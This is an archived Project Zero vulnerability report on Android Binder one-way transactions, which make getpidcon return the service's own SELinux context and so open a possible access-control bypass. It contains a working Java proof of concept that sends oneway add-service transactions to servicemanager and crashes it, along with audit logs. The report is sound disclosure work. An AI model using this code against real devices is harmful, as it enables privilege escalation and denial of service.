ArashAll / google-security-research

Automatically exported from code.google.com/p/google-security-research
0 stars 0 forks source link

Android: Calling getpidcon for One Way Binder Transactions Returns Wrong Security Context #727

Closed GoogleCodeExporter closed 8 years ago

GoogleCodeExporter commented 8 years ago
Android: Calling getpidcon for One Way Binder Transactions Returns Wrong 
Security Context
Platform: Tested on Android 6.0.1 February patches
Class: Elevation of Privilege

Summary:
The servicemanager, keystore and drmserver all use getpidcon function to get 
the security context of the caller from a binder. When combined with a one way 
binder transaction this results in getting the security context of the current 
process which might allow a selinux mac bypass.

Description:
When a one way binder call is the made the binder driver always sets the 
sender_pid in the transaction to 0. If this is used (by calling 
IPCThreadState::getCallingPid or similar) without verification and passed to 
getpidcon that function returns the security context of the calling process. As 
in getpidcon(0, …) is equivalent to getpidcon(getpid(), …).

For example if we make a transaction to the service manager as a normal 
application trying to add a new system service (which is blocked by selinux) 
you’ll get a audit log like the following:

E/SELinux: avc:  denied  { add } for service=IExampleServer 
scontext=u:r:untrusted_app:s0:c512,c768 
tcontext=u:object_r:default_android_service:s0 tclass=service_manager

Note the scontext is untrusted_app as expected. Now if we issue this same call 
as a one way transaction we get a different result (also this will crash the 
service manager but for a different reason I’ve already reported).

E/SELinux: avc:  denied  { add } for service=IExampleServer 
scontext=u:r:servicemanager:s0 tcontext=u:object_r:default_android_service:s0 
tclass=service_manager

Now the scontext is servicemanager. Fortunately in this case servicemanager 
doesn’t have any permissions to add a service either so it still fails. 
However it isn’t the case with things like the keystore, although I’m not 
sure if there’s actually any lockdown enabled on the keystore at the moment 
which we'd need to bypass.

Now of course being a one way transaction this means that no data can be 
received back from the transaction. However the binder uses the following code 
to get the PID even for a normal transaction, there are failure cases where 
this can return 0 as well so potentially a bi-directional call could be made 
with enough work.

if (t->from) {
   struct task_struct *sender = t->from->proc->tsk;

  tr.sender_pid = task_tgid_nr_ns(sender,
  task_active_pid_ns(current));
} else {
  tr.sender_pid = 0;
}

Proof of Concept:
I’ve provided a PoC which exploits the issue and prints the two different 
audit logs. If the second audit log shows the wrong scontext then the OS is 
vulnerable. Note this will also crash the service manager for unrelated 
reasons. To use copy the following code into a normal application and call 
runServiceManagerSeLinux.

void doServiceManagerTest(boolean oneway) {
   try {
       Class c = Class.forName("com.android.internal.os.BinderInternal");
       Method m = c.getMethod("getContextObject");

       IBinder serviceManager = (IBinder) m.invoke(null);
       Parcel data = Parcel.obtain();
       Parcel reply = Parcel.obtain();

       data.writeInterfaceToken("android.os.IServiceManager");
       data.writeString("IExampleServer");
       data.writeStrongBinder(new Binder() {
       });
       data.writeInt(0);
       serviceManager.transact(3, data, reply, oneway ? IBinder.FLAG_ONEWAY : 0);
   } catch(Throwable t) {
   }
}

void runServiceManagerSeLinux() {
   doServiceManagerTest(false);
   doServiceManagerTest(true);
}

In the logs you should see where the scontext differs between the two calls.

E/SELinux: avc:  denied  { add } for service=IExampleServer 
scontext=u:r:untrusted_app:s0:c512,c768 
tcontext=u:object_r:default_android_service:s0 tclass=service_manager
E/SELinux: avc:  denied  { add } for service=IExampleServer 
scontext=u:r:servicemanager:s0 tcontext=u:object_r:default_android_service:s0 
tclass=service_manager

This bug is subject to a 90 day disclosure deadline. If 90 days elapse without 
a broadly available patch, then the bug report will automatically become 
visible to the public.

Original issue reported on code.google.com by fors...@google.com on 9 Feb 2016 at 12:41

GoogleCodeExporter commented 8 years ago
Reported in AOSP as https://code.google.com/p/android/issues/detail?id=200617

Original comment by fors...@google.com on 9 Feb 2016 at 12:44

GoogleCodeExporter commented 8 years ago

Original comment by fors...@google.com on 10 Feb 2016 at 10:00

GoogleCodeExporter commented 8 years ago
The Android Security Team have assessed the impact of this issue and found that 
it's not exploitable. Any vulnerable service either would not accept it's own 
security context as valid or if it did the majority of use cases already have 
access (such as untrusted_app to the keystore service). Therefore while there's 
an elevation of privilege vulnerability in the ability to cause the service to 
check the incorrect security context it's not exploitable in a default android 
release. This is planned to be fixed in mainline AOSP, but won't be back ported 
therefore marking it as wont fix.

As this bug has been derestricted on the AOSP issue tracker there's no reason 
to keep it locked down here.

Original comment by fors...@google.com on 19 Feb 2016 at 11:55